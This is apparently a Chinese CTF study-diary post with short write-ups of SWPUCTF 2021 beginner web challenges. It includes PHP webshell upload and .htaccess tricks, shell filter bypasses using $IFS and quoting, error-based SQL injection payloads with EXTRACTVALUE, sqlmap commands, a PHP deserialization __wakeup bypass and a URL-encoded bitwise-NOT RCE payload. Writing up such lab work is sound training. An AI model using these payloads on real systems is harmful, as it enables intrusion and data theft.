刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥,不想老是浪费时间了,所以刷多少题我就会写多少题解,使用nss随机刷题,但是今天下午不知道为啥一刷都是SWPUCTF的。

[SWPUCTF 2021 新生赛]gift_F12

控制台ctrl+f搜索flag即可,得到flag

[SWPUCTF 2021 新生赛]caidao

怎么做写脸上了,直接连,

[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file
('index.php');
include(
"flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if (
$id=="wllmNB"&&$json['x']=="wllm")
{echo 
$flag;}
?>

//阅读一下源码:可以看到要输出flag要满足POST传入id=wllmNB,GET传入json字符串经过解码后要满足$json['x']=="wllm",GET传入{"x":"wllm"}即可
NSSCTF{95d74e97-b06c-4fb2-b028-bb3a0ab2686c}

[SWPUCTF 2021 新生赛]Do_you_know_http

使用hackbar传入User-Agent :WLLM即可


第二关传入X-Forwarded-For :127.0.0.1 即可

[SWPUCTF 2021 新生赛]easy_md5

一个很简单的md5

[SWPUCTF 2021 新生赛]easyupload1.0

传个一句话木马试试

应该是给php后缀搬掉了,试试phtml,也搬掉了,不太行,传个图片

图片可以正常上传猜测检测字段Content-Type:

直接改个php试试

上传成功。

直接连接了,然后虚拟终端打开找找flag

找到了,但是上传之后竟然是错误的,看了wp后说要在phpinfo里面找,这个没想到

[SWPUCTF 2021 新生赛]nc签到

看题目直接拿vps nc一下吧

黑名单搬了一点

看看路径,可以使用l's'这样的方式绕过查看一下flag

ca't'$IFS$9flag

当然我们使用nl也是可以的

[SWPUCTF 2021 新生赛]easyupload2.0

直接蚁剑连接即可

[SWPUCTF 2021 新生赛]easyrce

没有任何限制直接RCE就行

[SWPUCTF 2021 新生赛]babyrce

加个cookie下一关出来了

空格过滤了直接${IFS}或者$IFS$9绕过

[SWPUCTF 2021 新生赛]ez_unserialize

开题没告诉题目开源码,意图明显,访问/robots.txt

找到目录


找到题目,解析一下,当类销毁的时候如果amdin=admin,passwd=ctf那么就输出flag,思路有了生成对象p的时候直接赋值对象p的admin和passwd属性即可

[SWPUCTF 2021 新生赛]include

给了个提示

经过包含发现没包含出来,搜了一下include_once函数的用法

说明flag.php已经被包含过了,那我们使用php伪协议将flag的base64直接输出,然后解码即可

[SWPUCTF 2021 新生赛]error

搜索框输入1,写没有提示?看看源码

看到源码给出提示

直接跑sqlmap

python sqlmap.py -u ”url" --dbs

python sqlmap.py -u “url” test_db --tables

python sqlmap.py -u “url” -D test_db -T test_tb --columns

python sqlmap.py -u “url” -D test_db -T test_tb -C flag --dump

这里是报错注入,SELECT * FROM users WHERE id='$id' LIMIT 0,1可以看到给了语句

直接进行报错注入:1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- 原理:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

SELECT * FROM users WHERE id='1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))--' LIMIT 0,1

--后面的明显被注释了,

EXTRACTVALUE:

它的正常用法是从一个合法的 XML 文档中,按照给定的 XPath 语法规则,提取匹配的节点值。然而,当提供的 XML 或 XPath 是非法的或者不符合格式时

  • CONCAT(0x7e, (SELECT database()), 0x7e):将当前的数据库名称与两个 ~ 符号(十六进制 0x7e 表示的 ~)拼接。SELECT database() 会返回当前使用的数据库名称。
  • EXTRACTVALUE(1, ...):由于传递的参数不是有效的 XML 数据格式,EXTRACTVALUE() 会触发一个错误。这个错误的详细信息可能包含我们拼接的数据库名称,这样就通过报错信息泄露了敏感数据。

数据库名出来了;

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='test_db' LIMIT 0,1), 0x7e))-- -

跑出来表名

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='test_tb' and table_schema='test_db' LIMIT 1,1), 0x7e))-- -

跑出来个flag列

直接拿出flag

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT flag FROM test_tb LIMIT 0,1), 0x7e))-- -

出了一半,

再找下一半应该是放不下了从右往左找试试

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT left(flag,30) FROM test_tb LIMIT 0,1), 0x7e))-- -

可以看到最多输出30位,输入31后后面的波浪号没了

把这两个找出来的flag整合一下即可

把这两个整合一下flag

[SWPUCTF 2021 新生赛]no_wakeup

小派蒙给了一个class.php,打开看看

是一个反序列化的题目,分析一下,当对象被反序列化的时候会自动调用wakeup魔术方法,意思是我们传入这一串O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}的时候passwd会变成SHA1(wllm)这样会导致我们不能满足条件,这题意图比较明显了,就是wakeup绕过,怎么绕过呢?

参考两篇文章:我感觉写的很好

PHP反序列化中wakeup()绕过总结 – fushulingのblog

PHP反序列化

我们这里直接把元素数改为3就可以绕过,为什么呢?

因为当传入数据被反序列化时因为多了一个元素但是找不到元素然后就不能完成整个反序列化的过程导致中途exit所以wakeup调用不了

这一个我看了感觉很有参考意义,记录一下

wake_up绕过练习参考:A new way to bypass __wakeup() and build POP chain - inhann的博客 | inhann's Blog

[SWPUCTF 2021 新生赛]easyupload3.0

依然选择直接传一个伪造的图片上去,依然这个图片是完全可以传的,

稍微改一改再次测试

稳定发挥啊还是可以传的,改下后缀呢?

看来不行了那我们只能用图片马先试试吧,我们已经传了一个jpg文件先试试能不能传.htaccess

成功了蚁剑连接一下

添加成功

找到flag

[SWPUCTF 2021 新生赛]finalrce

一个防火墙绕过,tac 没禁了,看wp学到了点东西

find / | tee 1.txt

可以输出根目录到1.txt文件里面尝试一下,试了完全打不开太大了有点,我们在vps上下载下来吧

 curl -O http://node4.anna.nssctf.cn:28864/1.txt

然后找一找敏感文件

cat 1.txt |grep /fl*
 

可以看到输出的最后就是很明显的flag啊直接 tac /flllllaaaaaaggggggg,但是la不能连接在一起我们这里用用一个正则分开tac /flllll\aaaaaaggggggg,这里是看不到东西的使用和刚刚一样的方法tee试试

tac /flllll\aaaaaaggggggg | tee 2.txt

获取到flag

[SWPUCTF 2021 新生赛]hardrce


防火墙禁止了很多东西,字母字母用不了,也禁止了很多符号啊,没什么思路参考wp

<?php
a="system";a="system";b = “cat /f*”;
echo urlencode(~a); print("\n"); echo urlencode(~b);
?>

这样也可以绕过。

url编码绕过限制

?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

学到了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1547343.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【入门01】arcgis api 4.x 创建地图、添加图层、添加指北针、比例尺、图例、卷帘、图层控制、家控件(附完整源码)

1.效果 2.代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title></title><link rel"s…

物联网行业中通信断线重连现象介绍以及如何实现

01 概述 断线重连是指在计算机网络中&#xff0c;当网络连接遇到异常中断或者断开时&#xff0c;系统会自动尝试重新建立连接&#xff0c;以保证网络通信的连续性和稳定性。这是一种常见的网络通信技术&#xff0c;广泛应用于各种计算机网络场景&#xff0c;包括互联网、局域…

MSVCR100.dll丢失怎么办,教你6种解决MSVCR100.dll丢失的方法

在计算机的日常使用中&#xff0c;我们可能会遇到各种各样的问题&#xff0c;其中之一就是MSVCR100.dll文件丢失。这个文件是Microsoft Visual C 2010的一个组件&#xff0c;如果丢失&#xff0c;可能会导致某些程序无法正常运行。那么&#xff0c;如何解决这个问题呢&#xff…

MySQL Unittest实践(下 Gmock篇)

一、简介 使用Gtest基本上能够满足绝大多数的测试场景&#xff0c;但是对于一些涉及多个模块交互、文件系统、网络通信等复杂的场景&#xff0c;很难仿真一个真实的环境进行单元测试。这时就需要引入模拟对象Mock Objects来模拟程序的一部分来构造测试场景。 Google C Mockin…

【大数据】数据中台怎么样助力企业创新和客户实践

在当今数字化时代&#xff0c;数据成为了企业竞争的关键因素。企业拥有大量的数据&#xff0c;但如何高效地利用这些数据&#xff0c;实现创新和提升客户体验&#xff0c;成为了一项重要的挑战。数据中台作为一种重要的数据管理和分析工具&#xff0c;发挥着关键的作用。本文将…

Select插件的用法

文章目录 1.知识回顾2.使用方法2.1 builder属性2.2 selector属性2.3 shouldRebuild属性2.4 child属性3 示例代码我们在上一章回中介绍了组件之间共享数据相关的内容,本章回中将继续介绍该内容.闲话休提,让我们一起Talk Flutter吧。 1.知识回顾 我们在前面章回中介绍了全局共…

今年1-8月,Temu的客户量下降了25%,Shein和TikTok Shop不降反增

根据Earnest信用卡数据&#xff0c;2024年1月至8月&#xff0c;在Temu平台上交易的购物者减少了约25%&#xff0c;表明该平台的增长放缓。 自上线两年以来&#xff0c;Temu通过打折和广告策略&#xff0c;尤其是在超级碗期间投放大量广告&#xff0c;迅速扩展并广泛影响了爱好…

分享5款AI毕业论文生成系统使用教程!开题报告一键生成!

在当前的学术研究和写作领域&#xff0c;AI论文生成工具的应用越来越广泛。这些工具不仅能够提高写作效率&#xff0c;还能帮助研究人员快速生成高质量的论文内容。今天&#xff0c;我将分享五款AI毕业论文生成系统&#xff0c;并重点推荐千笔-AIPassPaper&#xff0c;帮助你高…

自动驾驶系列—DOW(开门预警):让每一次开门都更安心

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…

嵌入式项目:STM32平衡车详解 (基础知识篇) (基于STM32F103C8T6)

前言&#xff1a; 本文是基于B站草履虫编写的平衡车相关内容&#xff0c;包括模块和基础知识&#xff0c;结合代码进行讲解&#xff0c;将知识进行汇总 &#xff08;由于本篇内容较长&#xff0c;请结合目录使用) 注&#xff1a;基于开源精神&#xff0c;本文仅供学习参考 目…

滑动窗口 -- 限制窗口内某元素的数量/种类

目录 长度最小的数组 题解&#xff1a; 将x减到0的最小操作数 题解&#xff1a; 最大连续1的个数 题解&#xff1a; 无重复字符的最长子串&#xff08;限制数量&#xff09; 题解&#xff1a; 水果成篮&#xff08;限制种类&#xff09; 题解&#xff1a; 找到字符串中…

Studying-图论包含的算法总结

目录 1.DFS&#xff08;深度优先搜索&#xff09; 代码框架&#xff1a; 2. BFS&#xff08;广度优先搜索&#xff09; 代码框架&#xff1a; 3. 并查集 4.最小生成树之Prim 5.最小生成树之Kruskal 6.拓扑排序 7. 最短路径之-dijkstra&#xff08;朴素版&#xff…

淘宝霸屏必备工具:淘宝商品评论电商API接口

淘宝商品评论电商API接口是指用于获取淘宝商品评论信息的一种接口&#xff0c;通过该接口可以获取淘宝网上商品的评价内容、评价等级、评价数量等信息。通过了解并使用该接口&#xff0c;能够帮助电商了解消费者对商品的评价情况&#xff0c;做好商品的推广和销售工作。 接口使…

Leetcode - 周赛416

目录 一&#xff0c;3295. 举报垃圾信息 二&#xff0c;3296. 移山所需的最少秒数 三&#xff0c;3297. 统计重新排列后包含另一个字符串的子字符串数目 I 四&#xff0c;3298. 统计重新排列后包含另一个字符串的子字符串数目 II 一&#xff0c;3295. 举报垃圾信息 本题就是…

消息号 FS215 对科目 2221010200 7333允许销项税, J1 不允许

业务场景&#xff1a; 在做发票校验时&#xff0c;报错“消息号 FS215 对科目 2221010200 7333允许销项税, J1 不允许”而且计算税额失效&#xff0c;红灯报错。 初步怀疑是税码配置问题 FTXP J1是进项税&#xff0c;但是这里维护了销项税和均一税&#xff0c;在这里删除是需…

SQLSERVER通过触发器限制客户端IP地址

方法一&#xff1a;SQL Server 2005 SP2或更高版本(触发器) 当SQL Server 2005升级到SP2或者更高的版本的时候&#xff0c;还可以通过新增的触发器来实现控制。 执行下面的T-SQL后&#xff0c;将使除IP地址为192.168.1.1之外的客户端连接失败。 USE master; GO CREATE TRIGGE…

CMA软件检测机构人员职责分类、要求、档案资料

一、CMA软件检测机构人员职责分类&#xff1a; 1、最高管理者 2、授权签字人 3、技术负责人 4、质量负责人 5、软件测试人员 &#xff08;从事软件测试项目管理、测试需求分析、测试策划和测试设计活动的人员、软件测试执行人员&#xff09; 6、报告编制员 7、报告审核…

革新体验:细数3D在线预览在多个行业的广泛应用

‌3D在线预览展示技术的应用领域非常广泛&#xff0c;涵盖了从电子商务、产品设计、建筑设计到文化遗产保护等多个方面。‌ ‌1、电子商务‌&#xff1a; 在电商领域&#xff0c;3D展示技术为商品提供了全方位的展示&#xff0c;包括产品的外观、功能和卖点。这种交互式的购物…

【Docker】01-Docker常见指令

1. Docker Docker会下载镜像&#xff0c;运行的时候&#xff0c;创建一个隔离的环境&#xff0c;称为容器。 docker run -d \ # 创建并运行一个容器&#xff0c;-d表示后台运行 --name mysql \ # 容器名称-p 3307:3306 \ # 端口映射&#xff0c;宿主机端口映射到容器端口-e TZ…

buuctf [ACTF2020 新生赛]Include

学习笔记。 开启靶机。 进入靶场&#xff1a; 我们跟进 tips瞅瞅&#xff1a; 额&#xff0c;纯小白&#xff0c;能想到的就是先F12看看&#xff0c;在CTRLu、以及抓包。 得&#xff0c;不会了&#xff0c;看wp呗&#xff0c;不会死磕没脑子0,0&#xff1f; 参考&#xff1a;…